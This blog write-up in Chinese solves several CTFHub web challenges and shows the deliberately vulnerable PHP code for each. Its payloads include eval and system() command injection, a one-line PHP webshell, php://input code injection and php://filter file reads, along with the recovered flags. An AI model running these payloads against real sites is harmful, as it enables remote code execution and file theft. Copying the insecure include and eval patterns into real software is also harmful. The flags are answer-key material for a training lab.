CTFHub - Web(五)

eval执行:

1.进入网页,显示源码,

 <?php
if (isset($_REQUEST[cmd])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

2.输入命令,发现该文件并不是想要的,

cmd=system("ls");

CTFHub - Web(五)

3.继续查看目录命令,

cmd=system("ls /");

CTFHub - Web(五)

4.查看,得到flag,

cmd=system("cat /flag_8822");

flag:

ctfhub{d593f41b1b07b3eba2ff5d5419272766ef47c8c6} 

文件包含:

1.进入题目,源码如下,

<?php
error_reporting(0);
if (isset($_GET[file])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.点击查看shell,

<?php eval($_REQUEST[ctfhub]);?>

3.构造payload,

file=shell.txt
POST:ctfhub=system("ls ");

CTFHub - Web(五)

4.发现没有需要的文件,查看根目录,

file=shell.txt
POST:ctfhub=system("ls /");

CTFHub - Web(五)

5.查看flag,得到flag,

file=shell.txt
POST:ctfhub=system("cat /flag");

CTFHub - Web(五)

flag:

ctfhub{134dc84eb445a2d35c7c7f2d005a93149bcd3aae} 

补充:

strpos()函数:
查找字符串在另一字符串中第一次出现的位置(区分大小写) 
strpos("You love php, I love php too!","php");

php://input:

1.进入页面,源码如下,

<?php
if (isset($_GET[file])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.使用php://input来构造发送的指令,

CTFHub - Web(五)

3.构造,

?file=php://input
POST:<?php system("ls /");?>

CTFHub - Web(五)

4.查看flag目录,得到flag,

?file=php://input
POST:<?php system("cat /flag_27046");?>

CTFHub - Web(五)

flag:

ctfhub{3d3a294472cbaaf5f60d3639da8a1c75e0144bbb}

读取源代码:

1.进入题目,分析源码,

<?php
error_reporting(E_ALL);
if (isset($_GET[file])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.题目告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容,得到base64编码后的flag,解码即可得到flag,(或者直接)

?file=php://filter/read=convert.base64-encode/resource=/flag

?file=php://filter/resource=/flag

CTFHub - Web(五)

flag:

ctfhub{1036f894cefc1ca00066d256b6c32f0537890711}

远程包含:

1.进入页面,查看源码,

<?php
error_reporting(0);
if (isset($_GET[file])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.从phpinfo()可以看到根目录,

CTFHub - Web(五)

3.利用POST查看目录,

CTFHub - Web(五)

4.查看/flag得到flag,

CTFHub - Web(五)

flag:

ctfhub{adb12467085aa372958627a7a841bf39687022b5}

 

CTFHub - Web(五)

上一篇:Ceph集群部署及RGW开启https访问


下一篇:Vue.js作者谈:Vue 3 最新进展_VueConf 2018